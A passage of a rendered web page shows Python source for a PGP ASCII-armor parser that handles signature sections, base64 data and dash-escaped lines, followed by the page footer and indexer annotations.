style="color:#FF7B72">==</span><span style="color:#E6EDF3"> ArmorSectionType.</span><span style="color:#79C0FF">PGP_SIGNATURE</span><span style="color:#E6EDF3">:</span></span> 604<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.finalise()</span></span> 605<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.sections.append(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.section)</span></span> 606<span class="line"></span> 607<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorSection(section_type)</span></span> 608<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorExpect.Header</span></span> 609<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> opening.is_binary() </span><span style="color:#FF7B72">or</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.dash_escaping:</span></span> 610<span class="line"><span style="color:#FF7B72"> raise</span><span style="color:#79C0FF"> Exception</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"Unexpected opening header line '</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">section_type</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">'"</span><span style="color:#E6EDF3">)</span></span> 611<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 612<span class="line"><span style="color:#8B949E"> #print(f"Ignore opening header line '{section_type}'")</span></span> 613<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">line</span><span style="color:#FF7B72">}\r\n</span><span style="color:#A5D6FF">"</span></span> 614<span class="line"></span> 615<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> opening.is_binary():</span></span> 616<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> line.startswith(</span><span style="color:#A5D6FF">"="</span><span style="color:#E6EDF3">):</span></span> 617<span class="line"><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> line[</span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">:]</span></span> 618<span class="line"></span> 619<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message </span><span style="color:#FF7B72">+=</span><span style="color:#E6EDF3"> line</span></span> 620<span class="line"></span> 621<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> line.find(</span><span style="color:#A5D6FF">"="</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">>=</span><span style="color:#79C0FF"> 0</span><span style="color:#E6EDF3">:</span></span> 622<span class="line"><span style="color:#E6EDF3"> data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> b64decode(</span><span style="color:#79C0FF">
622self</span><span style="color:#E6EDF3">.section.message)</span></span> 623<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.data.append(data)</span></span> 624<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> ""</span></span> 625<span class="line"></span> 626<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 627<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.dash_escaping </span><span style="color:#FF7B72">and</span><span style="color:#E6EDF3"> line.startswith(</span><span style="color:#79C0FF">DASH_ESCAPE</span><span style="color:#E6EDF3">):</span></span> 628<span class="line"><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> line[</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">DASH_ESCAPE</span><span style="color:#E6EDF3">):]</span></span> 629<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message:</span></span> 630<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message </span><span style="color:#FF7B72">+=</span><span style="color:#A5D6FF"> "</span><span style="color:#FF7B72">\r\n</span><span style="color:#A5D6FF">"</span></span> 631<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.message </span><span style="color:#FF7B72">+=</span><span style="color:#E6EDF3"> line</span></span> 632<span class="line"></span> 633<span class="line"></span> 634<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> Armor</span><span style="color:#E6EDF3">:</span></span> 635<span class="line"><span style="color:#E6EDF3"> sections: list[ArmorSection]</span></span> 636<span class="line"></span> 637<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(self, sections: list[ArmorSection] </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> []):</span></span> 638<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.sections </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> sections</span></span> 639<span class="line"></span> 640<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> from_file</span><span style="color:#E6EDF3">(self, file_name: </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">):</span></span> 641<span class="line"><span style="color:#FF7B72"> with</span><span style="color:#79C0FF"> open</span><span style="color:#E6EDF3">(file_name, </span><span style="color:#A5D6FF">"r"</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">as</span><span style="color:#FFA657"> file</span><span style="color:#E6EDF3">:</span></span> 642<span class="line"><span style="color:#E6EDF3"> parser </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorParser()</span></span> 643<span class="line"></span> 644<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">in</span><span style="color:#FFA657"> file</span><span style="color:#E6EDF3">.readlines():</span></span> 645<span class="line"><span style="color:#E6EDF3"> parser.push_line(line)</span></span> 646<span class="line"></span> 647<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.sections.extend(parser.sections)</span></span></code></pre><!----><!----></article><!----><!----></main> <footer class="bg-blue-500 p-4">contact: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="afccc0c1dbceccdbefc8dfc881c9cec6c3">[email protected]</a></footer><!----><!--]--> <!--[!--><!--]--><!--]-->
vendor: 108 bytes, line 647
647<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
647</body> 648</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.